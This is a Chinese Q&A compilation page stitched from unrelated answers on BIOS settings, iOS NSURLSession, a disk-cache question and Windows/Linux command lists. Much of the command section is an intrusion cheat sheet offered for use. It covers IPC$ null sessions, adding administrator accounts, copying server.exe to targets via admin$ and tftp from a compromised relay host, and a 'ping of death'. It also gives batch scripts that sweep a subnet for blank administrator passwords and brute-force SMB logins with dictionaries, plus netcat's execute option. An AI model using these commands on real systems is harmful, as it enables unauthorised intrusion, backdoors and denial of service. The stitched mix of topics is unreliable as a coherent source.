① 在哪調Delay IDE Initial
BIOS設置詳解
其實有很多硬體問題是由於BIOS設置不當引起的,BIOS的設置正確與否,對系統的穩定性、性能的發揮都有很大的影響。詳細地了解其設置可以清楚地掌握電腦的運行狀態,准確地分析各種硬體信息。
鑒於有很多朋友對BIOS的設置不甚了解,而不同的主板有不同的BIOS,設置方法也有所不同。我在這里把網上找到的一些BIOS設置的詳細方法寫在這里,給大家一個參考:
一、STANDARD CMOS SETUP(標准CMOS設置)
這里是最基本的CMOS(Complementary Metal Oxide Semiconctor,互補金屬氧化物半導體)系統設置,包括日期、驅動器和顯示適配器,最重要的一項是halt on:系統掛起設置,預設設置為All Errors,表示在POST(Power On Self Test,加電自測試)過程中有任何錯誤都會停止啟動,此選擇能保證系統的穩定性。如果要加快速度的話,可以把它設為No Errors,即在任何時候都盡量完成啟動,不過加速的後果是有可能造成系統錯誤,請按需選擇吧。
1、Drive A/Drive B
選項:360K,5.25in;1.2M,5.25in;720K,3.25in;1.4M,3.25 in;2.88M,3.25in
設置合適的驅動器(現在都是1.44M的啦),如果沒有相應的硬體,盡量設為None,可以提高系統自檢速度。
2、Video(視頻)
選項:EGA/VGA,Mono(黑白顯示器)
設成EGA/VGA吧,不要嘗試改為Mono,會減慢啟動速度的。
二、BIOS FEATURES SETUP(BIOS特徵設備)
1、Virus Warning/Anti-Virus Protection(病毒警告/反病毒保護)
選項:Enabled(開啟),Disabled(關閉),ChipAway(晶元控制)
這項設置可防止外部程序對啟動區和硬碟分區表的寫入,當發生寫入操作時,系統會自動產生警告並提示用戶中斷程序的執行。它並不能保護整個硬碟,而且對於操作系統的安裝(例如WINDOWS95/98)及某些磁碟診斷程序,甚至對BIOS的升級,都可能產生不必要的沖突而引致程序的中斷。建議用戶將這選項關閉,系統的認值是Disable。
某些主板自帶有抗病毒內核,它可以提供比普通病毒警告更高一層的防衛,不過,當使用自帶BIOS的外圍控制器(如SCSI卡或UltraDMA 66控制卡)時,啟動區病毒可以繞過系統BIOS來進行攻擊,保護將完全失效。
2、CPU Level 1 Cache/Internal Cache(中央處理器一級緩存/內部緩存)
選項:Enabled,Disabled
此設置用於控制CPU的主緩存開啟/關閉,L1 Cache對機器的整體性能有很大影響,關閉以後系統的性能會下降幾個數量級。在超頻的時候,一級緩存往往是成功與否的關鍵所在,比如你不能超到500MHz,並不代表CPU不能上500MHz,很可能是L1 Cache無法達到,所以關閉一級緩存可以提升超頻的成功率。
3、CPU Level 2 Cache/External Cache(中央處理器二級緩存/外部緩存)
選項:Enabled,Disabled
此設置用於控制CPU的主緩存開啟/關閉,它對系統和超頻的影響如同一級緩存,關閉L2 Cache也能夠超頻的成功率。
4、CPU L2 Cache ECC Checking(CPU二級緩存ECC校驗)
選項:Enabled,Disabled
系統可以啟用CPU內部L2Cache進行ECC(Error Checking and Correction,錯誤檢查修正)檢測,默認值是Enable,它可以偵察並糾正單位信號錯誤保持資料的准確性,對超頻的穩定性有幫助,但不能偵察雙位信號錯誤。這里要注意的是,啟用ECC檢測將會延遲系統自檢的時間和降低機器的性能,而且必須內存支持才能開啟此特性。
5、Quick Power On Self Test(快速加電自檢測)
選項:Enabled,Disabled
這項設置可加快系統自檢的速度,使系統跳過某些自檢選項(如內存完全檢測),不過開啟之後會降低偵錯能力,削弱系統的可**性。
6、Boot Sequence
選項:A, C, SCSI/EXT
C, A, SCSI/EXT
C, CD-ROM, A
CD-ROM, C, A
D, A, SCSI/EXT (至少擁有兩個IDE硬碟時才會出現)
E, A, SCSI/EXT (至少擁有三個IDE硬碟時才會出現)
F, A, SCSI (至少擁有四個IDE硬碟時才會出現)
SCSI/EXT, A, C
SCSI/EXT, C, A
A, SCSI/EXT, C
LS/ZIP,C
這項設置決定系統引導的驅動器號,若想加快系統自檢的速度可設為(C Only),則系統不對其它驅動器自檢而直接進入主引導硬碟。某些主板(如:ABIT BE6和BP6)擁有額外的IDE控制器,可以接入第三或第四組IDE設備,這時你應該選擇EXT啟動優先。
7、Boot Sequence EXT Means(把啟動次序的EXT定義為何種類型)
選項:IDE、SCSI
當你使用EXT設備時,定義使用的設備類型,包括(Integrated Drive Electronics,電子集成驅動器)和SCSI(Small Computer System Interface,小型計算機系統介面)。
8、Swap Floppy Drive(交換軟盤驅動器號)
選項:Enabled,Disabled
交換磁碟驅動器的位置,適應不同格式的軟盤。當系統安裝了2台軟碟機時,若設定為Enabled,系統將會把B驅作為啟動盤啟動,若設為Disabled則相反。
9、Boot Up Floppy Seek(啟動時尋找軟盤驅動器)
選項:Enabled,Disabled
開機時測試軟碟機的存在與否,並檢查它的磁軌數是40軌還是80軌,一般360K的都是40軌,而720K/1.2MB/1.44MB的則是80軌。默認值為Enable,注意:當軟碟機的磁軌數是80軌時,BIOS並不能區分其所屬的類型。
10、Boot Up NumLock Status(啟動時鍵盤上的數字鎖定鍵的狀態)
選項:On(開),Off(關)
控制小鍵盤的開/關狀態,對性能無影響。
11、Gate A20 Option(A20地址線選擇)
選項:Normal(正常)、Fast(加速)
設置哪一個控制單元管理1MB以上內存地址的A20地址線,設為Normal用鍵盤控制器管理,設為Fast用晶元組控制器管理,可提高內存存取的速度和系統整體性能,特別是對於OS/2和Windows等操作系統來說非常有效。因為它們的保護模式經常需要BIOS A20地址線來進行切換,而晶元組控制器比鍵盤控制器更快,所以Fast是首選設置。
12、IDE HDD Block Mode(IDE硬碟塊模式)
選項:Enabled,Disabled
以前的硬碟存取模式是一個個扇區來進行的,塊模式把多個扇區組成一個塊,每次存取幾個扇區,可以增加多扇區存取時的數據傳輸率。開啟此特性後,BIOS會自動偵察硬碟是否支持塊模式(現今的大多數硬碟己有這個功能),而且每中斷一次可發出64KB資料。如果你使用Windows NT系統,就要小心啦,它並不支持塊模式,很可能導致數據傳輸出錯,所以微軟建議Win NT 4.0用戶關閉IDE硬碟塊模式。關閉此特性後,每中斷一次只能發出512Byte資料,降低了磁碟的綜合性能。
13、32-bit Disk Access(32位磁碟存取)
選項:Enabled,Disabled
實際上32位磁碟存取並不是真正的32位傳輸,而是用IDE控制器聯合了2個16位操作來達到目的。對了PCI匯流排來說,在同一時間能夠傳送的數據越多越好,因此假32位傳輸亦可以增加系統性能。Windows NT系統不支持32位磁碟存取,很可能導致數據傳輸出錯,所以微軟建議Win NT 4.0用戶關閉此特性,當然,16位是無論如何也快不過32位的。
14、Typematic Rate Setting(輸入速度設置)
選項:Enabled,Disabled
是否使用人工設置來控制輸入速度,如果你想加快文字處理效率,還是打開的好,只有Enabled之後才能調節輸入速率和輸入延遲。
15、Typematic Rate (Chars/Sec)(輸入速率,單位:字元/秒)
選項:6, 8, 10, 12, 15, 20, 24, 30
在一秒之內連續輸入的字元數,數值越大速度越快。
16、Typematic Rate Delay (Msec)(輸入延遲,單位:毫秒)
選項:250, 500, 750, 1000
每一次輸入字元延遲的時間,數值越小速度越快。
17、Security Option(安全選項)
選項:System,Setup
只要在BIOS中建立了密碼,此特性才會開啟,設置為System時,BIOS在每一次啟動都會輸入密碼,設置為Setup時,在進入BIOS菜單時要求輸入密碼。如果你不想別人亂動你的機器,還是加上密碼的好。
18、PCI/VGA Palette Snoop(PCI/VGA調色版探測)
選項:Enabled,Disabled
此特性僅用於圖形卡介面上的附加設備,比如MPEG子卡等。通過調色版探測可以糾正幀緩存的數據,並能把它們同步發給附加設備和主顯示卡,避免添加子卡後產生黑屏現象。
19、Assign IRQ For VGA(給VGA設備分配IRQ:Interrupt Request,中斷請求)
選項:Enabled,Disabled
目前,許多高端圖形卡都需要IRQ來增加與主板的數據交換速度,開啟之後能大幅提高總體性能。相反的是,低端圖形卡並不需要分配IRQ,在顯卡的使用手冊中有說明它是否調用中斷,不佔用中斷的好處是節省系統資源。
20、MPS Version Control For OS(面向操作系統的MPS版本)
選項:1.1,1.4
它專用於多處理器主板,用於確定MPS(MultiProcessor Specification,多重處理器規范)的版本,以便讓PC製造商構建基於英特爾架構的多處理器系統。與1.1標准相比,1.4增加了擴展型結構表,可用於多重PCI匯流排,並且對未來的升級十分有利。另外,v1.4擁有第二條PCI匯流排,還無須PCI橋連接。新型的SOS(Server Operating Systems,伺服器操作系統)大都支持1.4標准,包括WinNT和Linux SMP(Symmetric Multi-Processing,對稱式多重處理架構)。如果可以的話,盡量使用v1.4。
21、OS Select For DRAM > 64MB(操作系統怎樣處理大於64MB的內存)
選項:OS/2,Non-OS/2
當內存尺寸大於64MB時,IBM的OS/2系統將以不同的方式管理內存,如果你不用OS/2,則設置為「Non-OS/2」。
22、HDD S.M.A.R.T. Capability(硬碟S.M.A.R.T.能力)
選項:Enabled,Disabled
SMART(Self-Monitoring, Analysis and Reporting Technology,自動監測、分析和報告技術)是一種硬碟保護技術,開啟能增加系統穩定性。
在網路環境中,S.M.A.R.T.可能會自動發送一些未經監督的數據包到硬碟中,它們是不被操作系統允許的操作,經常導致系統重啟。如果你打算把計算機作為網路伺服器,最好關閉此特性。
23、Report No FDD For Win9x(為Win9x報告找不到軟盤驅動器)
選項:Enabled,Disabled
在沒有FDD(Floppy Disk Driver,軟盤驅動器)的機器中,關閉此選項和Intergrated Peripherals中的FDC(Floppy Disk Controller,軟盤驅動器控制裝置)選項,可以在Win9x中釋放IRQ6,節省系統資源。
24、Delay IDE Initial (Sec)(延遲IDE初始化,單位:秒)
選項:0, 1, 2, 3, ...,
現今BIOS的啟動比以前快得多了,在進行設備偵察時,某些舊式IDE設備可能還沒啟動,為了適應這種情況,BIOS提供了一個延遲選項,可以減慢它的啟動時間。設置為「0」時速度最快,BIOS將不理會IDE設備的初始化失敗,直接啟動。
25、Processor Number Feature(處理器號碼特性)
選項:Enabled,Disabled
專用奔騰III等序列號型處理器,開啟之後可以通過某些特殊程序讀取序列號,提供一種安全保證。實際上,這類保護的級別是相當低的,很容易被別人破解並作攻擊之用,還是關閉的好。
26、Video BIOS Shadowing(視頻BIOS映射)
選項:Enabled,Disabled
顯卡做每一項工作都必須經過CPU處理數據,甚至一些硬體與硬體之間的交換(如顯示晶元與顯示內存),也要動用到中央處理器。為了提高速度,首個解決方案是增加BIOS晶元,擴展系統BIOS的功能來管理顯卡。開啟此特性可以把視頻BIOS的一部分內容拷貝到系統內存,加快存取速度。在傳統的計算機中,CPU通過64位DRAM匯流排讀數據比8位XT匯流排要快得多,可以大大提高顯示子系統的性能。不過,當代的顯卡已經包含了一個處理器晶元,所有工作都由顯示處理器完成,並用驅動程序的特殊指令和CPU直接溝通,在增加速度的同時,亦提供了向後兼容性。另外,大多數操作系統(如:WinNT 4.0、Linux)可以繞過BIOS操作硬體,所以BIOS映射已經沒有什麼用處了,反而會浪費主內存空間或引起系統不穩定。
順便提一句,大多數顯卡用的是Flash ROM是EEPROM(Electrically Erasable Programmable ROM,電擦寫可編程只讀存儲器),它們的速度不僅比舊式130-150ns EPROM快,甚至超越了DRAM,因此視頻BIOS映射就變得沒意義。
如果你執意要使用映射,應該把所有區域都映射,不要僅一個32KB的預設值(C000-C7FF),避免BIOS容量過大引起的沖突。視頻BIOS映射的唯一好處是兼容DOS游戲,那些老古董並不能直接存取硬體,非得BIOS幫助不可。
27、Shadowing address ranges (xxxxx-xxxxx Shadow)(映射地址列)
選項:Enabled,Disabled
此選項控制那一個區域的內存將用於映射視頻BIOS。注意,某些附加卡會使用CXXX-EFFF作為輸入/輸出,並且內存讀/寫請求不會經過ISA匯流排執行,映射視頻BIOS可能導致附加卡不能工作。
② nsurlsession緩存在哪
iOS9要求網路請求需要使用NSURLSession
NSURLSessionConfiguration(參數配置類)
NSURLSession狀態同時對應著多個連接,不像之前使用共享的一個全局狀態。會話是通過工廠方法(類方法)來創建對象
NSURLSessionConfiguration。
總共有三種會話:
1.defaultSessionConfiguration 默認的,進程內會話
2.ephemeralSessionConfiguration短暫的(內
存),進程內會話
3.後台會話
相關屬性
//後台任務的標識符
@property (nullable, readonly, ) NSString *id entifier;
//緩存的策略
@property NSURLRequestCachePolicy requestCachePolicy;
//請求超時時長
@property NSTimeInterval timeoutIntervalForRequest;
//網路服務類型
@property networkServiceType;
//是否在非無線的情況下請求網路
@property BOOL allowsCellularAccess;
③ 為什麼我的希捷企業級ST3500514NS硬碟檢測不到緩存 亞馬遜買的 盒裝
用最新版Everest5.5查看。
④ 給一些常用的運行命令吧
cmd (命令字元提示窗口)
net use ipipc$ " " /user:" " 建立IPC空鏈接
net use ipipc$ "密碼" /user:"用戶名" 建立IPC非空鏈接
net use h: ipc$ "密碼" /user:"用戶名" 直接登陸後映射對方C:到本地為H:
net use h: ipc$ 登陸後映射對方C:到本地為H:
net use ipipc$ /del 刪除IPC鏈接
net use h: /del 刪除映射對方到本地的為H:的映射
net user 用戶名 密碼 /add 建立用戶
net user guest /active:yes 激活guest用戶
net user 查看有哪些用戶
net user 帳戶名 查看帳戶的屬性
net localgroup administrators 用戶名 /add 把「用戶」添加到管理員中使其具有管理員許可權,注意:administrator後加s用復數
net start 查看開啟了哪些服務
net start 服務名 開啟服務;(如:net start telnet, net start schele)
net stop 服務名 停止某服務
net time 目標ip 查看對方時間
net time 目標ip /set 設置本地計算機時間與「目標IP」主機的時間同步,加上參數/yes可取消確認信息
net view 查看本地區域網內開啟了哪些共享
net view ip 查看對方區域網內開啟了哪些共享
net config 顯示系統網路設置
net logoff 斷開連接的共享
net pause 服務名 暫停某服務
net send ip "文本信息" 向對方發信息
net ver 區域網內正在使用的網路連接類型和信息
net share 查看本地開啟的共享
net share ipc$ 開啟ipc$共享
net share ipc$ /del 刪除ipc$共享
net share c$ /del 刪除C:共享
net user guest 12345 用guest用戶登陸後用將密碼改為12345
net password 密碼 更改系統登陸密碼
netstat -a 查看開啟了哪些埠,常用netstat -an
netstat -n 查看埠的網路連接情況,常用netstat -an
netstat -v 查看正在進行的工作
netstat -p 協議名 例:netstat -p tcq/ip 查看某協議使用情況(查看tcp/ip協議使用情況)
netstat -s 查看正在使用的所有協議使用情況
nbtstat -A ip 對方136到139其中一個埠開了的話,就可查看對方最近登陸的用戶名(03前的為用戶名)-注意:參數-A要大寫
tracert -參數 ip(或計算機名) 跟蹤路由(數據包),參數:「-w數字」用於設置超時間隔。
ping ip(或域名) 向對方主機發送默認大小為32位元組的數據,參數:「-l[空格]數據包大小」;「-n發送數據次數」;「-t」指一直ping。
ping -t -l 65550 ip 死亡之ping(發送大於64K的文件並一直ping就成了死亡之ping)
ipconfig (winipcfg) 用於windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用參數「/all」顯示全部配置信息
tlist -t 以樹行列表顯示進程(為系統的附加工具,默認是沒有安裝的,在安裝目錄的Support/tools文件夾內)
kill -F 進程名 加-F參數後強制結束某進程(為系統的附加工具,默認是沒有安裝的,在安裝目錄的Support/tools文件夾內)
del -F 文件名 加-F參數後就可刪除只讀文件,/AR、/AH、/AS、/AA分別表示刪除只讀、隱藏、系統、存檔文件,/A-R、/A-H、/A-S、/A-A表示刪除除只讀、隱藏、系統、存檔以外的文件。例如「DEL/AR *.*」表示刪除當前目錄下所有隻讀文件,「DEL/A-S *.*」表示刪除當前目錄下除系統文件以外的所有文件
二:
del /S /Q 目錄 或用:rmdir /s /Q 目錄 /S刪除目錄及目錄下的所有子目錄和文件。同時使用參數/Q 可取消刪除操作時的系統確認就直接刪除。(二個命令作用相同)
move 盤符路徑要移動的文件名 存放移動文件的路徑移動後文件名 移動文件,用參數/y將取消確認移動目錄存在相同文件的提示就直接覆蓋
fc one.txt two.txt > 3st.txt 對比二個文件並把不同之處輸出到3st.txt文件中,"> "和"> >" 是重定向命令
at id號 開啟已注冊的某個計劃任務
at /delete 停止所有計劃任務,用參數/yes則不需要確認就直接停止
at id號 /delete 停止某個已注冊的計劃任務
at 查看所有的計劃任務
at ip time 程序名(或一個命令) /r 在某時間運行對方某程序並重新啟動計算機
finger username @host 查看最近有哪些用戶登陸
telnet ip 埠 遠和登陸伺服器,默認埠為23
open ip 連接到IP(屬telnet登陸後的命令)
telnet 在本機上直接鍵入telnet 將進入本機的telnet
路徑文件名1 路徑文件名2 /y 復制文件1到指定的目錄為文件2,用參數/y就同時取消確認你要改寫一份現存目錄文件
c:srv.exe ipadmin$ 復制本地c:srv.exe到對方的admin下
cppy 1st.jpg/b+2st.txt/a 3st.jpg 將2st.txt的內容藏身到1st.jpg中生成3st.jpg新的文件,註:2st.txt文件頭要空三排,參數:/b指二進制文件,/a指ASCLL格式文件
ipadmin$svv.exe c: 或:ipadmin$*.* 復制對方admini$共享下的srv.exe文件(所有文件)至本地C:
x 要復制的文件或目錄樹 目標地址目錄名 復制文件和目錄樹,用參數/Y將不提示覆蓋相同文件
tftp -i 自己IP(用肉機作跳板時這用肉機IP) get server.exe c:server.exe 登陸後,將「IP」的server.exe下載到目標主機c:server.exe 參數:-i指以二進制模式傳送,如傳送exe文件時用,如不加-i 則以ASCII模式(傳送文本文件模式)進行傳送
tftp -i 對方IP put c:server.exe 登陸後,上傳本地c:server.exe至主機
ftp ip 埠 用於上傳文件至伺服器或進行文件操作,默認埠為21。bin指用二進制方式傳送(可執行文件進);默認為ASCII格式傳送(文本文件時)
route print 顯示出IP路由,將主要顯示網路地址Network addres,子網掩碼Netmask,網關地址Gateway addres,介面地址Interface
arp 查看和處理ARP緩存,ARP是名字解析的意思,負責把一個IP解析成一個物理性的MAC地址。arp -a將顯示出全部信息
start 程序名或命令 /max 或/min 新開一個新窗口並最大化(最小化)運行某程序或命令
mem 查看cpu使用情況
attrib 文件名(目錄名) 查看某文件(目錄)的屬性
attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存檔,只讀,系統,隱藏 屬性;用+則是添加為某屬性
dir 查看文件,參數:/Q顯示文件及目錄屬系統哪個用戶,/T:C顯示文件創建時間,/T:A顯示文件上次被訪問時間,/T:W上次被修改時間
date /t 、 time /t 使用此參數即「DATE/T」、「TIME/T」將只顯示當前日期和時間,而不必輸入新日期和時間
set 指定環境變數名稱=要指派給變數的字元 設置環境變數
set 顯示當前所有的環境變數
set p(或其它字元) 顯示出當前以字元p(或其它字元)開頭的所有環境變數
pause 暫停批處理程序,並顯示出:請按任意鍵繼續....
if 在批處理程序中執行條件處理(更多說明見if命令及變數)
goto 標簽 將cmd.exe導向到批處理程序中帶標簽的行(標簽必須單獨一行,且以冒號打頭,例如:「:start」標簽)
call 路徑批處理文件名 從批處理程序中調用另一個批處理程序 (更多說明見call /?)
for 對一組文件中的每一個文件執行某個特定命令(更多說明見for命令及變數)
echo on或off 打開或關閉echo,僅用echo不加參數則顯示當前echo設置
echo 信息 在屏幕上顯示出信息
echo 信息 >> pass.txt 將"信息"保存到pass.txt文件中
findstr "Hello" aa.txt 在aa.txt文件中尋找字元串hello
find 文件名 查找某文件
title 標題名字 更改CMD窗口標題名字
color 顏色值 設置cmd控制台前景和背景顏色;0=黑、1=藍、2=綠、3=淺綠、4=紅、5=紫、6=黃、7=白、8=灰、9=淡藍、A=淡綠、B=淡淺綠、C=淡紅、D=淡紫、E=淡黃、F=亮白
prompt 名稱 更改cmd.exe的顯示的命令提示符(把C:、D:統一改為:EntSky )
三:
ver 在DOS窗口下顯示版本信息
winver 彈出一個窗口顯示版本信息(內存大小、系統版本、補丁版本、計算機名)
format 盤符 /FS:類型 格式化磁碟,類型:FAT、FAT32、NTFS ,例:Format D: /FS:NTFS
md 目錄名 創建目錄
replace 源文件 要替換文件的目錄 替換文件
ren 原文件名 新文件名 重命名文件名
tree 以樹形結構顯示出目錄,用參數-f 將列出第個文件夾中文件名稱
type 文件名 顯示文本文件的內容
more 文件名 逐屏顯示輸出文件
doskey 要鎖定的命令=字元
doskey 要解鎖命令= 為DOS提供的鎖定命令(編輯命令行,重新調用win2k命令,並創建宏)。如:鎖定dir命令:doskey dir=entsky (不能用doskey dir=dir);解鎖:doskey dir=
taskmgr 調出任務管理器
chkdsk /F D: 檢查磁碟D並顯示狀態報告;加參數/f並修復磁碟上的錯誤
tlntadmn telnt服務admn,鍵入tlntadmn選擇3,再選擇8,就可以更改telnet服務默認埠23為其它任何埠
exit 退出cmd.exe程序或目前,用參數/B則是退出當前批處理腳本而不是cmd.exe
path 路徑可執行文件的文件名 為可執行文件設置一個路徑。
cmd 啟動一個win2K命令解釋窗口。參數:/eff、/en 關閉、開啟命令擴展;更我詳細說明見cmd /?
regedit /s 注冊表文件名 導入注冊表;參數/S指安靜模式導入,無任何提示;
regedit /e 注冊表文件名 導出注冊表
cacls 文件名 參數 顯示或修改文件訪問控制列表(ACL)——針對NTFS格式時。參數:/D 用戶名:設定拒絕某用戶訪問;/P 用戶名:perm 替換指定用戶的訪問許可權;/G 用戶名:perm 賦予指定用戶訪問許可權;Perm 可以是: N 無,R 讀取, W 寫入, C 更改(寫入),F 完全控制;例:cacls D: est.txt /D pub 設定d: est.txt拒絕pub用戶訪問。
cacls 文件名 查看文件的訪問用戶許可權列表
REM 文本內容 在批處理文件中添加註解
netsh 查看或更改本地網路配置情況
四:
IIS服務命令:
iisreset /reboot 重啟win2k計算機(但有提示系統將重啟信息出現)
iisreset /start或stop 啟動(停止)所有Internet服務
iisreset /restart 停止然後重新啟動所有Internet服務
iisreset /status 顯示所有Internet服務狀態
iisreset /enable或disable 在本地系統上啟用(禁用)Internet服務的重新啟動
iisreset /rebootonerror 當啟動、停止或重新啟動Internet服務時,若發生錯誤將重新開機
iisreset /noforce 若無法停止Internet服務,將不會強制終止Internet服務
iisreset /timeout Val在到達逾時間(秒)時,仍未停止Internet服務,若指定/rebootonerror參數,則電腦將會重新開機。預設值為重新啟動20秒,停止60秒,重新開機0秒。
FTP 命令: (後面有詳細說明內容)
ftp的命令行格式為:
ftp -v -d -i -n -g[主機名] -v 顯示遠程伺服器的所有響應信息。
-d 使用調試方式。
-n 限制ftp的自動登錄,即不使用.netrc文件。
-g 取消全局文件名。
help [命令] 或 ?[命令] 查看命令說明
bye 或 quit 終止主機FTP進程,並退出FTP管理方式.
pwd 列出當前遠端主機目錄
put 或 send 本地文件名 [上傳到主機上的文件名] 將本地一個文件傳送至遠端主機中
get 或 recv [遠程主機文件名] [下載到本地後的文件名] 從遠端主機中傳送至本地主機中
mget [remote-files] 從遠端主機接收一批文件至本地主機
mput local-files 將本地主機中一批文件傳送至遠端主機
dir 或 ls [remote-directory] [local-file] 列出當前遠端主機目錄中的文件.如果有本地文件,就將結果寫至本地文件
ascii 設定以ASCII方式傳送文件(預設值)
bin 或 image 設定以二進制方式傳送文件
bell 每完成一次文件傳送,報警提示
cp 返回上一級目錄
close 中斷與遠程伺服器的ftp會話(與open對應)
open host[port] 建立指定ftp伺服器連接,可指定連接埠
delete 刪除遠端主機中的文件
mdelete [remote-files] 刪除一批文件
mkdir directory-name 在遠端主機中建立目錄
rename [from] [to] 改變遠端主機中的文件名
rmdir directory-name 刪除遠端主機中的目錄
status 顯示當前FTP的狀態
system 顯示遠端主機系統類型
user user-name [password] [account] 重新以別的用戶名登錄遠端主機
open host [port] 重新建立一個新的連接
prompt 交互提示模式
macdef 定義宏命令
lcd 改變當前本地主機的工作目錄,如果預設,就轉到當前用戶的HOME目錄
chmod 改變遠端主機的文件許可權
case 當為ON時,用MGET命令拷貝的文件名到本地機器中,全部轉換為小寫字母
cd remote-dir 進入遠程主機目錄
cp 進入遠程主機目錄的父目錄
! 在本地機中執行交互shell,exit回到ftp環境,如!ls*.zip
#5 五:
MYsql 命令:
mysql -h主機地址 -u用戶名 -p密碼 連接MYSQL;如果剛安裝好MYSQL,超級用戶root是沒有密碼的。
(例:mysql -h110.110.110.110 -Uroot -P123456
注:u與root可以不用加空格,其它也一樣)
exit 退出MYSQL
mysqladmin -u用戶名 -p舊密碼 password 新密碼 修改密碼
grant select on 資料庫.* to 用戶名@登錄主機 identified by "密碼"; 增加新用戶。(注意:和上面不同,下面的因為是MYSQL環境中的命令,所以後面都帶一個分號作為命令結束符)
show databases; 顯示資料庫列表。剛開始時才兩個資料庫:mysql和test。mysql庫很重要它裡面有MYSQL的系統信息,我們改密碼和新增用戶,實際上就是用這個庫進行操作。
use mysql;
show tables; 顯示庫中的數據表
describe 表名; 顯示數據表的結構
create database 庫名; 建庫
use 庫名;
create table 表名 (欄位設定列表); 建表
drop database 庫名;
drop table 表名; 刪庫和刪表
delete from 表名; 將表中記錄清空
select * from 表名; 顯示表中的記錄
mysqlmp --opt school>school.bbb 備份資料庫:(命令在DOS的mysql in目錄下執行);注釋:將資料庫school備份到school.bbb文件,school.bbb是一個文本文件,文件名任取,打開看看你會有新發現。
win2003系統下新增命令(實用部份):
shutdown /參數 關閉或重啟本地或遠程主機。
參數說明:/S 關閉主機,/R 重啟主機, /T 數字 設定延時的時間,范圍0~180秒之間, /A取消開機,/M //IP 指定的遠程主機。
例:shutdown /r /t 0 立即重啟本地主機(無延時)
taskill /參數 進程名或進程的pid 終止一個或多個任務和進程。
參數說明:/PID 要終止進程的pid,可用tasklist命令獲得各進程的pid,/IM 要終止的進程的進程名,/F 強制終止進程,/T 終止指定的進程及他所啟動的子進程。
tasklist 顯示當前運行在本地和遠程主機上的進程、服務、服務各進程的進程標識符(PID)。
參數說明:/M 列出當前進程載入的dll文件,/SVC 顯示出每個進程對應的服務,無參數時就只列出當前的進程。
六:
Linux系統下基本命令: 要區分大小寫
uname 顯示版本信息(同win2K的 ver)
dir 顯示當前目錄文件,ls -al 顯示包括隱藏文件(同win2K的 dir)
pwd 查詢當前所在的目錄位置
cd cd ..回到上一層目錄,注意cd 與..之間有空格。cd /返回到根目錄。
cat 文件名 查看文件內容
cat >abc.txt 往abc.txt文件中寫上內容。
more 文件名 以一頁一頁的方式顯示一個文本文件。
cp 復制文件
mv 移動文件
rm 文件名 刪除文件,rm -a 目錄名刪除目錄及子目錄
mkdir 目錄名 建立目錄
rmdir 刪除子目錄,目錄內沒有文檔。
chmod 設定檔案或目錄的存取許可權
grep 在檔案中查找字元串
diff 檔案文件比較
find 檔案搜尋
date 現在的日期、時間
who 查詢目前和你使用同一台機器的人以及Login時間地點
w 查詢目前上機者的詳細資料
whoami 查看自己的帳號名稱
groups 查看某人的Group
passwd 更改密碼
history 查看自己下過的命令
ps 顯示進程狀態
kill 停止某進程
gcc 黑客通常用它來編譯C語言寫的文件
su 許可權轉換為指定使用者
telnet IP telnet連接對方主機(同win2K),當出現bash$時就說明連接成功。
ftp ftp連接上某伺服器(同win2K)
附:批處理命令與變數
1:for命令及變數 基本格式:
FOR /參數 %variable IN (set) DO command [command_parameters] %variable:指定一個單一字母可替換的參數,如:%i ,而指定一個變數則用:%%i ,而調用變數時用:%i% ,變數是區分大小寫的(%i 不等於 %I)。
批處理每次能處理的變數從%0—%9共10個,其中%0默認給批處理文件名使用,%1默認為使用此批處理時輸入的的第一個值,同理:%2—%9指輸入的第2-9個值;例:net use ipipc$ pass /user:user 中ip為%1,pass為%2 ,user為%3
(set):指定一個或一組文件,可使用通配符,如:(D:user.txt)和(1 1 254)(1 -1 254),{ 「(1 1 254)」第一個"1"指起始值,第二個"1"指增長量,第三個"254"指結束值,即:從1到254;「(1 -1 254)」說明:即從254到1 }
command:指定對第個文件執行的命令,如:net use命令;如要執行多個命令時,命令這間加:& 來隔開
command_parameters:為特定命令指定參數或命令行開關
IN (set):指在(set)中取值;DO command :指執行command
參數:/L 指用增量形式{ (set)為增量形式時 };/F 指從文件中不斷取值,直到取完為止{ (set)為文件時,如(d:pass.txt)時 }。
用法舉例:
@echo off
echo 用法格式:test.bat *.*.* > test.txt
for /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use \%1.%%G /user:administrator | find "命令成功完成" >>test.txt
存為test.bat 說明:對指定的一個C類網段的254個IP依次試建立administrator密碼為空的IPC$連接,如果成功就把該IP存在test.txt中。
/L指用增量形式(即從1-254或254-1);輸入的IP前面三位:*.*.*為批處理默認的 %1;%%G 為變數(ip的最後一位);& 用來隔開echo 和net use 這二個命令;| 指建立了ipc$後,在結果中用find查看是否有"命令成功完成"信息;%1.%%G 為完整的IP地址;(1 1 254) 指起始值,增長量,結止值。
@echo off
echo 用法格式:ok.bat ip
FOR /F %%i IN (D:user.dic) DO smb.exe %1 %%i D:pass.dic 200
存為:ok.exe 說明:輸入一個IP後,用字典文件d:pass.dic來暴解d:user.dic中的用戶密碼,直到文件中值取完為止。%%i為用戶名;%1為輸入的IP地址(默認)。
七:
2:if命令及變數 基本格式:
IF [not] errorlevel 數字 命令語句 如果程序運行最後返回一個等於或大於指定數字的退出編碼,指定條件為「真」。
例:IF errorlevel 0 命令 指程序執行後返回的值為0時,就值行後面的命令;IF not errorlevel 1 命令指程序執行最後返回的值不等於1,就執行後面的命令。
0 指發現並成功執行(真);1 指沒有發現、沒執行(假)。
IF [not] 字元串1==字元串2 命令語句 如果指定的文本字元串匹配(即:字元串1 等於 字元串2),就執行後面的命令。
例:「if "%2%"=="4" goto start」指:如果輸入的第二個變數為4時,執行後面的命令(注意:調用變數時就%變數名%並加" ")
IF [not] exist 文件名 命令語句 如果指定的文件名存在,就執行後面的命令。
例:「if not nc.exe goto end」指:如果沒有發現nc.exe文件就跳到":end"標簽處。
IF [not] errorlevel 數字 命令語句 else 命令語句或 IF [not] 字元串1==字元串2 命令語句 else 命令語句或 IF [not] exist 文件名 命令語句 else 命令語句 加上:else 命令語句後指:當前面的條件不成立時,就指行else後面的命令。注意:else 必須與 if 在同一行才有效。 當有del命令時需把del命令全部內容用< >括起來,因為del命令要單獨一行時才能執行,用上< >後就等於是單獨一行了;例如:「if exist test.txt. <del test.txt.> else echo test.txt.missing 」,注意命令中的「.」
(二)系統外部命令(均需下載相關工具):
1、瑞士軍刀:nc.exe
參數說明:
-h 查看幫助信息
-d 後台模式
-e prog程序重定向,一但連接就執行〔危險〕
-i secs延時的間隔
-l 監聽模式,用於入站連接
